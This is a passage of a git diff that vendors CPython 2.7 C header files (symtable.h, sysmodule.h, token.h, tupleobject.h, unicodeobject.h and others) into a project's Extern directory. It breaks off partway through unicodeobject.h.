/dev/null +++ b/Extern/include/Python27/symtable.h @@ -0,0 +1,98 @@ +#ifndef Py_SYMTABLE_H +#define Py_SYMTABLE_H + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum _block_type { FunctionBlock, ClassBlock, ModuleBlock } + _Py_block_ty; + +struct _symtable_entry; + +struct symtable { + const char *st_filename; /* name of file being compiled */ + struct _symtable_entry *st_cur; /* current symbol table entry */ + struct _symtable_entry *st_top; /* module entry */ + PyObject *st_symbols; /* dictionary of symbol table entries */ + PyObject *st_stack; /* stack of namespace info */ + PyObject *st_global; /* borrowed ref to MODULE in st_symbols */ + int st_nblocks; /* number of blocks */ + PyObject *st_private; /* name of current class or NULL */ + PyFutureFeatures *st_future; /* module's future features */ +}; + +typedef struct _symtable_entry { + PyObject_HEAD + PyObject *ste_id; /* int: key in st_symbols */ + PyObject *ste_symbols; /* dict: name to flags */ + PyObject *ste_name; /* string: name of block */ + PyObject *ste_varnames; /* list of variable names */ + PyObject *ste_children; /* list of child ids */ + _Py_block_ty ste_type; /* module, class, or function */ + int ste_unoptimized; /* false if namespace is optimized */ + int ste_nested; /* true if block is nested */ + unsigned ste_free : 1; /* true if block has free variables */ + unsigned ste_child_free : 1; /* true if a child block has free vars, + including free refs to globals */ + unsigned ste_generator : 1; /* true if namespace is a generator */ + unsigned ste_varargs : 1; /* true if block has varargs */ + unsigned ste_varkeywords : 1; /* true if block has varkeywords */ + unsigned ste_returns_value : 1; /* true if namespace uses return with + an argument */ + int ste_lineno; /* first line of block */ + int ste_opt_lineno; /* lineno of last exec or import * */ + int ste_tmpname; /* counter for listcomp temp vars */ + struct symtable *ste_table; +} PySTEntryObject; + +PyAPI_DATA(PyTypeObject) PySTEntry_Type; + +#define PySTEntry_Check(op) (Py_TYPE(op) == &PySTEntry_Type) + +PyAPI_FUNC(int) PyST_GetScope(PySTEntryObject *, PyObject *); + +PyAPI_FUNC(struct symtable *) PySymtable_Build(mod_ty, const char *, + PyFutureFeatures *); +PyAPI_FUNC(PySTEntryObject *) PySymtable_Lookup(struct symtable *, void *); + +PyAPI_FUNC(void) PySymtable_Free(struct symtable *); + +/* Flags for def-use information */ + +#define DEF_GLOBAL 1 /* global stmt */ +#define DEF_LOCAL 2 /* assignment in code block */ +#define DEF_PARAM 2<<1 /* formal parameter */ +#define USE 2<<2 /* name is used */ +#define DEF_FREE 2<<3 /* name used but not defined in nested block */ +#define DEF_FREE_CLASS 2<<4 /* free variable from class's method */ +#define DEF_IMPORT 2<<5 /* assignment occurred via import */ + +#define DEF_BOUND (DEF_LOCAL | DEF_PARAM | DEF_IMPORT) + +/* GLOBAL_EXPLICIT and GLOBAL_IMPLICIT are used internally by the symbol + table. GLOBAL is returned from PyST_GetScope() for either of them. + It is stored in ste_symbols at bits 12-14. +*/ +#define SCOPE_OFF 11 +#define SCOPE_MASK 7 + +#define LOCAL 1 +#define GLOBAL_EXPLICIT 2 +#define GLOBAL_IMPLICIT 3 +#define FREE 4 +#define CELL 5 + +/* The following three names are used for the ste_unoptimized bit field */ +#define OPT_IMPORT_STAR 1 +#define OPT_EXEC 2 +#define OPT_BARE_EXEC 4 +#define OPT_TOPLEVEL 8 /* top-level names, including eval and exec */ + +#define GENERATOR 1 +#define GENERATOR_EXPRESSION 2 + +#ifdef __cplusplus +} +#endif +#endif /* !Py_SYMTABLE_H */ diff --git a/Extern/include/Python27/sysmodule.h b/Extern/include/Python27/sysmodule.h new file mode 100644 index 0000000..16af119 --- /dev/null +++ b/Extern/include/Python27/sysmodule.h @@ -0,0 +1,32 @@ + +/* System module interface */ + +#ifndef Py_SYSMODULE_H +#define Py_SYSMODULE_H +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_FUNC(PyObject *) PySys_GetObject(char *); +PyAPI_FUNC(int) PySys_SetObject(char *, PyObject *); +PyAPI_FUNC(FILE *) PySys_GetFile(char *, FILE *); +PyAPI_FUNC(void) PySys_SetArgv(int, char **); +PyAPI_FUNC(void) PySys_SetArgvEx(int, char **, int); +PyAPI_FUNC(void) PySys_SetPath(char *); + +PyAPI_FUNC(void) PySys_WriteStdout(const char *format, ...) + Py_GCC_ATTRIBUTE((format(printf, 1, 2))); +PyAPI_FUNC(void) PySys_WriteStderr(const char *format, ...) + Py_GCC_ATTRIBUTE((format(printf, 1, 2))); + +PyAPI_DATA(PyObject *) _PySys_TraceFunc, *_PySys_ProfileFunc; +PyAPI_DATA(int) _PySys_CheckInterval; + +PyAPI_FUNC(void) PySys_ResetWarnOptions(void); +PyAPI_FUNC(void) PySys_AddWarnOption(char *); +PyAPI_FUNC(int) PySys_HasWarnOptions(void); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_SYSMODULE_H */ diff --git a/Extern/include/Python27/timefuncs.h b/Extern/include/Python27/timefuncs.h new file mode 100644 index 0000000..553142d --- /dev/null +++ b/Extern/include/Python27/timefuncs.h @@ -0,0 +1,23 @@ +/* timefuncs.h + */ + +/* Utility function related to timemodule.c. */ + +#ifndef TIMEFUNCS_H +#define TIMEFUNCS_H +#ifdef __cplusplus +extern "C" { +#endif + + +/* Cast double x to time_t, but raise ValueError if x is too large + * to fit in a time_t. ValueError is set on return iff the return + * value is (time_t)-1 and PyErr_Occurred(). + */ +PyAPI_FUNC(time_t) _PyTime_DoubleToTimet(double x); + + +#ifdef __cplusplus +} +#endif +#endif /* TIMEFUNCS_H */ diff --git a/Extern/include/Python27/token.h b/Extern/include/Python27/token.h new file mode 100644 index 0000000..4250000 --- /dev/null +++ b/Extern/include/Python27/token.h @@ -0,0 +1,83 @@ + +/* Token types */ + +#ifndef Py_TOKEN_H +#define Py_TOKEN_H +#ifdef __cplusplus +extern "C" { +#endif + +#define ENDMARKER 0 +#define NAME 1 +#define NUMBER 2 +#define STRING 3 +#define NEWLINE 4 +#define INDENT 5 +#define DEDENT 6 +#define LPAR 7 +#define RPAR 8 +#define LSQB 9 +#define RSQB 10 +#define COLON 11 +#define COMMA 12 +#define SEMI 13 +#define PLUS 14 +#define MINUS 15 +#define STAR 16 +#define SLASH 17 +#define VBAR 18 +#define AMPER 19 +#define LESS 20 +#define GREATER 21 +#define EQUAL 22 +#define DOT 23 +#define PERCENT 24 +#define BACKQUOTE 25 +#define LBRACE 26 +#define RBRACE 27 +#define EQEQUAL 28 +#define NOTEQUAL 29 +#define LESSEQUAL 30 +#define GREATEREQUAL 31 +#define TILDE 32 +#define CIRCUMFLEX 33 +#define LEFTSHIFT 34 +#define RIGHTSHIFT 35 +#define DOUBLESTAR 36 +#define PLUSEQUAL 37 +#define MINEQUAL 38 +#define STAREQUAL 39 +#define SLASHEQUAL 40 +#define PERCENTEQUAL 41 +#define AMPEREQUAL 42 +#define VBAREQUAL 43 +#define CIRCUMFLEXEQUAL 44 +#define LEFTSHIFTEQUAL 45 +#define RIGHTSHIFTEQUAL 46 +#define DOUBLESTAREQUAL 47 +#define DOUBLESLASH 48 +#define DOUBLESLASHEQUAL 49 +#define AT 50 +/* Don't forget to update the table _PyParser_TokenNames in tokenizer.c! */ +#define OP 51 +#define ERRORTOKEN 52 +#define N_TOKENS 53 + +/* Special definitions for cooperation with parser */ + +#define NT_OFFSET 256 + +#define ISTERMINAL(x) ((x) < NT_OFFSET) +#define ISNONTERMINAL(x) ((x) >= NT_OFFSET) +#define ISEOF(x) ((x) == ENDMARKER) + + +PyAPI_DATA(char *) _PyParser_TokenNames[]; /* Token names */ +PyAPI_FUNC(int) PyToken_OneChar(int); +PyAPI_FUNC(int) PyToken_TwoChars(int, int); +PyAPI_FUNC(int) PyToken_ThreeChars(int, int, int); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_TOKEN_H */ diff --git a/Extern/include/Python27/traceback.h b/Extern/include/Python27/traceback.h new file mode 100644 index 0000000..e7943da --- /dev/null +++ b/Extern/include/Python27/traceback.h @@ -0,0 +1,31 @@ + +#ifndef Py_TRACEBACK_H +#define Py_TRACEBACK_H +#ifdef __cplusplus +extern "C" { +#endif + +struct _frame; + +/* Traceback interface */ + +typedef struct _traceback { + PyObject_HEAD + struct _traceback *tb_next; + struct _frame *tb_frame; + int tb_lasti; + int tb_lineno; +} PyTracebackObject; + +PyAPI_FUNC(int) PyTraceBack_Here(struct _frame *); +PyAPI_FUNC(int) PyTraceBack_Print(PyObject *, PyObject *); +PyAPI_FUNC(int) _Py_DisplaySourceLine(PyObject *, const char *, int, int); + +/* Reveal traceback type so we can typecheck traceback objects */ +PyAPI_DATA(PyTypeObject) PyTraceBack_Type; +#define PyTraceBack_Check(v) (Py_TYPE(v) == &PyTraceBack_Type) + +#ifdef __cplusplus +} +#endif +#endif /* !Py_TRACEBACK_H */ diff --git a/Extern/include/Python27/tupleobject.h b/Extern/include/Python27/tupleobject.h new file mode 100644 index 0000000..a5ab733 --- /dev/null +++ b/Extern/include/Python27/tupleobject.h @@ -0,0 +1,61 @@ + +/* Tuple object interface */ + +#ifndef Py_TUPLEOBJECT_H +#define Py_TUPLEOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +/* +Another generally useful object type is a tuple of object pointers. +For Python, this is an immutable type. C code can change the tuple items +(but not their number), and even use tuples are general-purpose arrays of +object references, but in general only brand new tuples should be mutated, +not ones that might already have been exposed to Python code. + +*** WARNING *** PyTuple_SetItem does not increment the new item's reference +count, but does decrement the reference count of the item it replaces, +if not nil. It does *decrement* the reference count if it is *not* +inserted in the tuple. Similarly, PyTuple_GetItem does not increment the +returned item's reference count. +*/ + +typedef struct { + PyObject_VAR_HEAD + PyObject *ob_item[1]; + + /* ob_item contains space for 'ob_size' elements. + * Items must normally not be NULL, except during construction when + * the tuple is not yet visible outside the function that builds it. + */ +} PyTupleObject; + +PyAPI_DATA(PyTypeObject) PyTuple_Type; + +#define PyTuple_Check(op) \ + PyType_FastSubclass(Py_TYPE(op), Py_TPFLAGS_TUPLE_SUBCLASS) +#define PyTuple_CheckExact(op) (Py_TYPE(op) == &PyTuple_Type) + +PyAPI_FUNC(PyObject *) PyTuple_New(Py_ssize_t size); +PyAPI_FUNC(Py_ssize_t) PyTuple_Size(PyObject *); +PyAPI_FUNC(PyObject *) PyTuple_GetItem(PyObject *, Py_ssize_t); +PyAPI_FUNC(int) PyTuple_SetItem(PyObject *, Py_ssize_t, PyObject *); +PyAPI_FUNC(PyObject *) PyTuple_GetSlice(PyObject *, Py_ssize_t, Py_ssize_t); +PyAPI_FUNC(int) _PyTuple_Resize(PyObject **, Py_ssize_t); +PyAPI_FUNC(PyObject *) PyTuple_Pack(Py_ssize_t, ...); +PyAPI_FUNC(void) _PyTuple_MaybeUntrack(PyObject *); + +/* Macro, trading safety for speed */ +#define PyTuple_GET_ITEM(op, i) (((PyTupleObject *)(op))->ob_item[i]) +#define PyTuple_GET_SIZE(op) Py_SIZE(op) + +/* Macro, *only* to be used to fill in brand new tuples */ +#define PyTuple_SET_ITEM(op, i, v) (((PyTupleObject *)(op))->ob_item[i] = v) + +PyAPI_FUNC(int) PyTuple_ClearFreeList(void); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_TUPLEOBJECT_H */ diff --git a/Extern/include/Python27/ucnhash.h b/Extern/include/Python27/ucnhash.h new file mode 100644 index 0000000..69b7774 --- /dev/null +++ b/Extern/include/Python27/ucnhash.h @@ -0,0 +1,33 @@ +/* Unicode name database interface */ + +#ifndef Py_UCNHASH_H +#define Py_UCNHASH_H +#ifdef __cplusplus +extern "C" { +#endif + +/* revised ucnhash CAPI interface (exported through a "wrapper") */ + +#define PyUnicodeData_CAPSULE_NAME "unicodedata.ucnhash_CAPI" + +typedef struct { + + /* Size of this struct */ + int size; + + /* Get name for a given character code. Returns non-zero if + success, zero if not. Does not set Python exceptions. + If self is NULL, data come from the default version of the database. + If it is not NULL, it should be a unicodedata.ucd_X_Y_Z object */ + int (*getname)(PyObject *self, Py_UCS4 code, char* buffer, int buflen); + + /* Get character code for a given name. Same error handling + as for getname. */ + int (*getcode)(PyObject *self, const char* name, int namelen, Py_UCS4* code); + +} _PyUnicode_Name_CAPI; + +#ifdef __cplusplus +} +#endif +#endif /* !Py_UCNHASH_H */ diff --git a/Extern/include/Python27/unicodeobject.h b/Extern/include/Python27/unicodeobject.h new file mode 100644 index 0000000..9ab724a --- /dev/null +++ b/Extern/include/Python27/unicodeobject.h @@ -0,0 +1,1413 @@ +#ifndef Py_UNICODEOBJECT_H +#define Py_UNICODEOBJECT_H + +#include + +/* + +Unicode implementation based on original code by Fredrik Lundh, +modified by Marc-Andre Lemburg (mal@lemburg.com) according to the +Unicode Integration Proposal (see file Misc/unicode.txt). + +Copyright (c) Corporation for National Research Initiatives. + + + Original header: + -------------------------------------------------------------------- + + * Yet another Unicode string type for Python. This type supports the + * 16-bit Basic Multilingual Plane (BMP) only. + * + * Written by Fredrik Lundh, January 1999. + * + * Copyright (c) 1999 by Secret Labs AB. + * Copyright (c) 1999 by Fredrik Lundh. + * + * fredrik@pythonware.com + * http://www.pythonware.com + * + * -------------------------------------------------------------------- + * This Unicode String Type is + * + * Copyright (c) 1999 by Secret Labs AB + * Copyright (c) 1999 by Fredrik Lundh + * + * By obtaining, using, and/or copying this software and/or its + * associated documentation, you agree that you have read, understood, + * and will comply with the following terms and conditions: + * + * Permission to use, copy, modify, and distribute this software and its + * associated documentation for any purpose and without fee is hereby + * granted, provided that the above copyright notice appears in all + * copies, and that both that copyright notice and this permission notice + * appear in supporting documentation, and that the name of Secret Labs + * AB or the author not be used in advertising or publicity pertaining to + * distribution of the software without specific, written prior + * permission. + * + * SECRET LABS AB AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO + * THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND + * FITNESS. IN NO EVENT SHALL SECRET LABS AB OR THE AUTHOR BE LIABLE FOR + * ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + * -------------------------------------------------------------------- */ + +#include + +/* === Internal API ======================================================= */ + +/* --- Internal Unicode Format -------------------------------------------- */ + +#ifndef Py_USING_UNICODE + +#define PyUnicode_Check(op) 0 +#define PyUnicode_CheckExact(op) 0 + +#else + +/* FIXME: MvL's new implementation assumes that Py_UNICODE_SIZE is + properly set, but the default rules below doesn't set it. I'll + sort this out some other day -- fredrik@pythonware.com */ + +#ifndef Py_UNICODE_SIZE +#error Must define Py_UNICODE_SIZE +#endif + +/* Setting Py_UNICODE_WIDE enables UCS-4 storage. Otherwise, Unicode + strings are stored as UCS-2 (with limited support for UTF-16) */ + +#if Py_UNICODE_SIZE >= 4 +#define Py_UNICODE_WIDE +#endif + +/* Set these flags if the platform has "wchar.h", "wctype.h" and the + wchar_t type is a 16-bit unsigned type */ +/* #define HAVE_WCHAR_H */ +/* #define HAVE_USABLE_WCHAR_T */ + +/* Defaults for various platforms */ +#ifndef PY_UNICODE_TYPE + +/* Windows has a usable wchar_t type (unless we're using UCS-4) */ +# if defined(MS_WIN32) && Py_UNICODE_SIZE == 2 +# define HAVE_USABLE_WCHAR_T +# define PY_UNICODE_TYPE wchar_t +# endif + +# if defined(Py_UNICODE_WIDE) +# define PY_UNICODE_TYPE Py_UCS4 +# endif + +#endif + +/* If the compiler provides a wchar_t type we try to support it + through the interface functions PyUnicode_FromWideChar() and + PyUnicode_AsWideChar(). */ + +#ifdef HAVE_USABLE_WCHAR_T +# ifndef HAVE_WCHAR_H +# define HAVE_WCHAR_H +# endif +#endif + +#ifdef HAVE_WCHAR_H +/* Work around a cosmetic bug in BSDI 4.x wchar.h; thanks to Thomas Wouters */ +# ifdef _HAVE_BSDI +# include +# endif +# include +#endif + +/* + * Use this typedef when you need to represent a UTF-16 surrogate pair + * as single unsigned integer. + */ +#if SIZEOF_INT >= 4 +typedef unsigned int Py_UCS4; +#elif SIZEOF_LONG >= 4 +typedef unsigned long Py_UCS4; +#endif + +/* Py_UNICODE is the native Unicode storage format (code unit) used by + Python and represents a single Unicode element in the Unicode + type. */ + +typedef PY_UNICODE_TYPE Py_UNICODE; + +/* --- UCS-2/UCS-4 Name Mangling ------------------------------------------ */ + +/* Unicode API names are mangled to assure that UCS-2 and UCS-4 builds + produce different external names and thus cause import errors in + case Python interpreters and extensions with mixed compiled in + Unicode width assumptions are combined. */ + +#ifndef Py_UNICODE_WIDE + +# define PyUnicode_AsASCIIString PyUnicodeUCS2_AsASCIIString +# define PyUnicode_AsCharmapString PyUnicodeUCS2_AsCharmapString +# define PyUnicode_AsEncodedObject PyUnicodeUCS2_AsEncodedObject +# define PyUnicode_AsEncodedString PyUnicodeUCS2_AsEncodedString +# define PyUnicode_AsLatin1String PyUnicodeUCS2_AsLatin1String +# define PyUnicode_AsRawUnicodeEscapeString PyUnicodeUCS2_AsRawUnicodeEscapeString +# define PyUnicode_AsUTF32String PyUnicodeUCS2_AsUTF32String +# define PyUnicode_AsUTF16String PyUnicodeUCS2_AsUTF16String +# define PyUnicode_AsUTF8String PyUnicodeUCS2_AsUTF8String +# define PyUnicode_AsUnicode PyUnicodeUCS2_AsUnicode +# define PyUnicode_AsUnicodeEscapeString PyUnicodeUCS2_AsUnicodeEscapeString +# define PyUnicode_AsWideChar PyUnicodeUCS2_AsWideChar +# define PyUnicode_ClearFreeList PyUnicodeUCS2_ClearFreelist +# define PyUnicode_Compare PyUnicodeUCS2_Compare +# define PyUnicode_Concat PyUnicodeUCS2_Concat +# define PyUnicode_Contains PyUnicodeUCS2_Contains +# define PyUnicode_Count PyUnicodeUCS2_Count +# define PyUnicode_Decode PyUnicodeUCS2_Decode +# define PyUnicode_DecodeASCII PyUnicodeUCS2_DecodeASCII +# define PyUnicode_DecodeCharmap PyUnicodeUCS2_DecodeCharmap +# define PyUnicode_DecodeLatin1 PyUnicodeUCS2_DecodeLatin1 +# define PyUnicode_DecodeRawUnicodeEscape PyUnicodeUCS2_DecodeRawUnicodeEscape +# define PyUnicode_DecodeUTF32 PyUnicodeUCS2_DecodeUTF32 +# define PyUnicode_DecodeUTF32Stateful PyUnicodeUCS2_DecodeUTF32Stateful +# define PyUnicode_DecodeUTF16 PyUnicodeUCS2_DecodeUTF16 +# define PyUnicode_DecodeUTF16Stateful PyUnicodeUCS2_DecodeUTF16Stateful +# define PyUnicode_DecodeUTF8 PyUnicodeUCS2_DecodeUTF8 +# define PyUnicode_DecodeUTF8Stateful PyUnicodeUCS2_DecodeUTF8Stateful +# define PyUnicode_DecodeUnicodeEscape PyUnicodeUCS2_DecodeUnicodeEscape +# define PyUnicode_Encode PyUnicodeUCS2_Encode +# define PyUnicode_EncodeASCII PyUnicodeUCS2_EncodeASCII +# define PyUnicode_EncodeCharmap PyUnicodeUCS2_EncodeCharmap +# define PyUnicode_EncodeDecimal PyUnicodeUCS2_EncodeDecimal +# define PyUnicode_EncodeLatin1 PyUnicodeUCS2_EncodeLatin1 +# define PyUnicode_EncodeRawUnicodeEscape PyUnicodeUCS2_EncodeRawUnicodeEscape +# define PyUnicode_EncodeUTF32 PyUnicodeUCS2_EncodeUTF32 +# define PyUnicode_EncodeUTF16 PyUnicodeUCS2_EncodeUTF16 +# define PyUnicode_EncodeUTF8 PyUnicodeUCS2_EncodeUTF8 +# define PyUnicode_EncodeUnicodeEscape PyUnicodeUCS2_EncodeUnicodeEscape +# define PyUnicode_Find PyUnicodeUCS2_Find +# define PyUnicode_Format PyUnicodeUCS2_Format +# define PyUnicode_FromEncodedObject PyUnicodeUCS2_FromEncodedObject +# define PyUnicode_FromFormat PyUnicodeUCS2_FromFormat +# define PyUnicode_FromFormatV PyUnicodeUCS2_FromFormatV +# define PyUnicode_FromObject PyUnicodeUCS2_FromObject +# define PyUnicode_FromOrdinal PyUnicodeUCS2_FromOrdinal +# define PyUnicode_FromString PyUnicodeUCS2_FromString +# define PyUnicode_FromStringAndSize PyUnicodeUCS2_FromStringAndSize +# define PyUnicode_FromUnicode PyUnicodeUCS2_FromUnicode +# define PyUnicode_FromWideChar PyUnicodeUCS2_FromWideChar +# define PyUnicode_GetDefaultEncoding PyUnicodeUCS2_GetDefaultEncoding +# define PyUnicode_GetMax PyUnicodeUCS2_GetMax +# define PyUnicode_GetSize PyUnicodeUCS2_GetSize +# define PyUnicode_Join PyUnicodeUCS2_Join +# define PyUnicode_Partition PyUnicodeUCS2_Partition +# define PyUnicode_RPartition PyUnicodeUCS2_RPartition +# define PyUnicode_RSplit PyUnicodeUCS2_RSplit +# define PyUnicode_Replace PyUnicodeUCS2_Replace +# define PyUnicode_Resize PyUnicodeUCS2_Resize +# define PyUnicode_RichCompare PyUnicodeUCS2_RichCompare +# define PyUnicode_SetDefaultEncoding PyUnicodeUCS2_SetDefaultEncoding +# define PyUnicode_Split PyUnicodeUCS2_Split +# define PyUnicode_Splitlines PyUnicodeUCS2_Splitlines +# define PyUnicode_Tailmatch PyUnicodeUCS2_Tailmatch +# define PyUnicode_Translate PyUnicodeUCS2_Translate +# define PyUnicode_TranslateCharmap PyUnicodeUCS2_TranslateCharmap +# define _PyUnicode_AsDefaultEncodedString _PyUnicodeUCS2_AsDefaultEncodedString +# define _PyUnicode_Fini _PyUnicodeUCS2_Fini +# define _PyUnicode_Init _PyUnicodeUCS2_Init +# define _PyUnicode_IsAlpha _PyUnicodeUCS2_IsAlpha +# define _PyUnicode_IsDecimalDigit _PyUnicodeUCS2_IsDecimalDigit +# define _PyUnicode_IsDigit _PyUnicodeUCS2_IsDigit +# define _PyUnicode_IsLinebreak _PyUnicodeUCS2_IsLinebreak +# define _PyUnicode_IsLowercase _PyUnicodeUCS2_IsLowercase +# define _PyUnicode_IsNumeric _PyUnicodeUCS2_IsNumeric +# define _PyUnicode_IsTitlecase _PyUnicodeUCS2_IsTitlecase +# define _PyUnicode_IsUppercase _PyUnicodeUCS2_IsUppercase +# define _PyUnicode_IsWhitespace _PyUnicodeUCS2_IsWhitespace +# define _PyUnicode_ToDecimalDigit _PyUnicodeUCS2_ToDecimalDigit +# define _PyUnicode_ToDigit _PyUnicodeUCS2_ToDigit +# define _PyUnicode_ToLowercase _PyUnicodeUCS2_ToLowercase +# define _PyUnicode_ToNumeric _PyUnicodeUCS2_ToNumeric +# define _PyUnicode_ToTitlecase _PyUnicodeUCS2_ToTitlecase +# define _PyUnicode_ToUppercase _PyUnicodeUCS2_ToUppercase + +#else + +# define PyUnicode_AsASCIIString PyUnicodeUCS4_AsASCIIString +# define PyUnicode_AsCharmapString PyUnicodeUCS4_AsCharmapString +# define PyUnicode_AsEncodedObject PyUnicodeUCS4_AsEncodedObject +# define PyUnicode_AsEncodedString PyUnicodeUCS4_AsEncodedString +# define PyUnicode_AsLatin1String PyUnicodeUCS4_AsLatin1String +# define PyUnicode_AsRawUnicodeEscapeString PyUnicodeUCS4_AsRawUnicodeEscapeString +# define PyUnicode_AsUTF32String PyUnicodeUCS4_AsUTF32String +# define PyUnicode_AsUTF16String PyUnicodeUCS4_AsUTF16String +# define PyUnicode_AsUTF8String PyUnicodeUCS4_AsUTF8String +# define PyUnicode_AsUnicode PyUnicodeUCS4_AsUnicode +# define PyUnicode_AsUnicodeEscapeString PyUnicodeUCS4_AsUnicodeEscapeString +# define PyUnicode_AsWideChar PyUnicodeUCS4_AsWideChar +# define PyUnicode_ClearFreeList PyUnicodeUCS4_ClearFreelist +# define PyUnicode_Compare PyUnicodeUCS4_Compare +# define PyUnicode_Concat PyUnicodeUCS4_Concat +# define PyUnicode_Contains PyUnicodeUCS4_Contains +# define PyUnicode_Count PyUnicodeUCS4_Count +# define PyUnicode_Decode PyUnicodeUCS4_Decode +# define PyUnicode_DecodeASCII PyUnicodeUCS4_DecodeASCII +# define PyUnicode_DecodeCharmap PyUnicodeUCS4_DecodeCharmap +# define PyUnicode_DecodeLatin1 PyUnicodeUCS4_DecodeLatin1 +# define PyUnicode_DecodeRawUnicodeEscape PyUnicodeUCS4_DecodeRawUnicodeEscape +# define PyUnicode_DecodeUTF32 PyUnicodeUCS4_DecodeUTF32 +# define PyUnicode_DecodeUTF32Stateful PyUnicodeUCS4_DecodeUTF32Stateful +# define PyUnicode_DecodeUTF16 PyUnicodeUCS4_DecodeUTF16 +# define PyUnicode_DecodeUTF16Stateful PyUnicodeUCS4_DecodeUTF16Stateful +# define PyUnicode_DecodeUTF8 PyUnicodeUCS4_DecodeUTF8 +# define PyUnicode_DecodeUTF8Stateful PyUnicodeUCS4_DecodeUTF8Stateful +# define PyUnicode_DecodeUnicodeEscape PyUnicodeUCS4_DecodeUnicodeEscape +# define PyUnicode_Encode PyUnicodeUCS4_Encode +# define PyUnicode_EncodeASCII PyUnicodeUCS4_EncodeASCII +# define PyUnicode_EncodeCharmap PyUnicodeUCS4_EncodeCharmap +# define PyUnicode_EncodeDecimal PyUnicodeUCS4_EncodeDecimal +# define PyUnicode_EncodeLatin1 PyUnicodeUCS4_EncodeLatin1 +# define PyUnicode_EncodeRawUnicodeEscape PyUnicodeUCS4_EncodeRawUnicodeEscape +# define PyUnicode_EncodeUTF32 PyUnicodeUCS4_EncodeUTF32 +# define PyUnicode_EncodeUTF16 PyUnicodeUCS4_EncodeUTF16 +# define PyUnicode_EncodeUTF8 PyUnicodeUCS4_EncodeUTF8 +# define PyUnicode_EncodeUnicodeEscape PyUnicodeUCS4_EncodeUnicodeEscape +# define PyUnicode_Find PyUnicodeUCS4_Find +# define PyUnicode_Format PyUnicodeUCS4_Format +# define PyUnicode_FromEncodedObject PyUnicodeUCS4_FromEncodedObject +# define PyUnicode_FromFormat PyUnicodeUCS4_FromFormat +# define PyUnicode_FromFormatV PyUnicodeUCS4_FromFormatV +# define PyUnicode_FromObject PyUnicodeUCS4_FromObject +# define PyUnicode_FromOrdinal PyUnicodeUCS4_FromOrdinal +# define PyUnicode_FromString PyUnicodeUCS4_FromString +# define PyUnicode_FromStringAndSize PyUnicodeUCS4_FromStringAndSize +# define PyUnicode_FromUnicode PyUnicodeUCS4_FromUnicode +# define PyUnicode_FromWideChar PyUnicodeUCS4_FromWideChar +# define PyUnicode_GetDefaultEncoding PyUnicodeUCS4_GetDefaultEncoding +# define PyUnicode_GetMax PyUnicodeUCS4_GetMax +# define PyUnicode_GetSize PyUnicodeUCS4_GetSize +# define PyUnicode_Join PyUnicodeUCS4_Join +# define PyUnicode_Partition PyUnicodeUCS4_Partition +# define PyUnicode_RPartition PyUnicodeUCS4_RPartition +# define PyUnicode_RSplit PyUnicodeUCS4_RSplit +# define PyUnicode_Replace PyUnicodeUCS4_Replace +# define PyUnicode_Resize PyUnicodeUCS4_Resize +# define PyUnicode_RichCompare PyUnicodeUCS4_RichCompare +# define PyUnicode_SetDefaultEncoding PyUnicodeUCS4_SetDefaultEncoding +# define PyUnicode_Split PyUnicodeUCS4_Split +# define PyUnicode_Splitlines PyUnicodeUCS4_Splitlines +# define PyUnicode_Tailmatch PyUnicodeUCS4_Tailmatch +# define PyUnicode_Translate PyUnicodeUCS4_Translate +# define PyUnicode_TranslateCharmap PyUnicodeUCS4_TranslateCharmap +# define _PyUnicode_AsDefaultEncodedString _PyUnicodeUCS4_AsDefaultEncodedString +# define _PyUnicode_Fini _PyUnicodeUCS4_Fini +# define _PyUnicode_Init _PyUnicodeUCS4_Init +# define _PyUnicode_IsAlpha _PyUnicodeUCS4_IsAlpha +# define _PyUnicode_IsDecimalDigit _PyUnicodeUCS4_IsDecimalDigit +# define _PyUnicode_IsDigit _PyUnicodeUCS4_IsDigit +# define _PyUnicode_IsLinebreak _PyUnicodeUCS4_IsLinebreak +# define _PyUnicode_IsLowercase _PyUnicodeUCS4_IsLowercase +# define _PyUnicode_IsNumeric _PyUnicodeUCS4_IsNumeric +# define _PyUnicode_IsTitlecase _PyUnicodeUCS4_IsTitlecase +# define _PyUnicode_IsUppercase _PyUnicodeUCS4_IsUppercase +# define _PyUnicode_IsWhitespace _PyUnicodeUCS4_IsWhitespace +# define _PyUnicode_ToDecimalDigit _PyUnicodeUCS4_ToDecimalDigit +# define _PyUnicode_ToDigit _PyUnicodeUCS4_ToDigit +# define _PyUnicode_ToLowercase _PyUnicodeUCS4_ToLowercase +# define _PyUnicode_ToNumeric _PyUnicodeUCS4_ToNumeric +# define _PyUnicode_ToTitlecase _PyUnicodeUCS4_ToTitlecase +# define _PyUnicode_ToUppercase _PyUnicodeUCS4_ToUppercase + + +#endif + +/* --- Internal Unicode Operations ---------------------------------------- */ + +/* If you want Python to use the compiler's wctype.h functions instead + of the ones supplied with Python, define WANT_WCTYPE_FUNCTIONS or + configure Python using --with-wctype-functions. This reduces the + interpreter's code size. */ + +#if defined(HAVE_USABLE_WCHAR_T) && defined(WANT_WCTYPE_FUNCTIONS) + +#include + +#define Py_UNICODE_ISSPACE(ch) iswspace(ch) + +#define Py_UNICODE_ISLOWER(ch) iswlower(ch) +#define Py_UNICODE_ISUPPER(ch) iswupper(ch) +#define Py_UNICODE_ISTITLE(ch) _PyUnicode_IsTitlecase(ch) +#define Py_UNICODE_ISLINEBREAK(ch) _PyUnicode_IsLinebreak(ch) + +#define Py_UNICODE_TOLOWER(ch) towlower(ch) +#define Py_UNICODE_TOUPPER(ch) towupper(ch) +#define Py_UNICODE_TOTITLE(ch) _PyUnicode_ToTitlecase(ch) + +#define Py_UNICODE_ISDECIMAL(ch) _PyUnicode_IsDecimalDigit(ch) +#define Py_UNICODE_ISDIGIT(ch) _PyUnicode_IsDigit(ch) +#define Py_UNICODE_ISNUMERIC(ch) _PyUnicode_IsNumeric(ch) + +#define Py_UNICODE_TODECIMAL(ch) 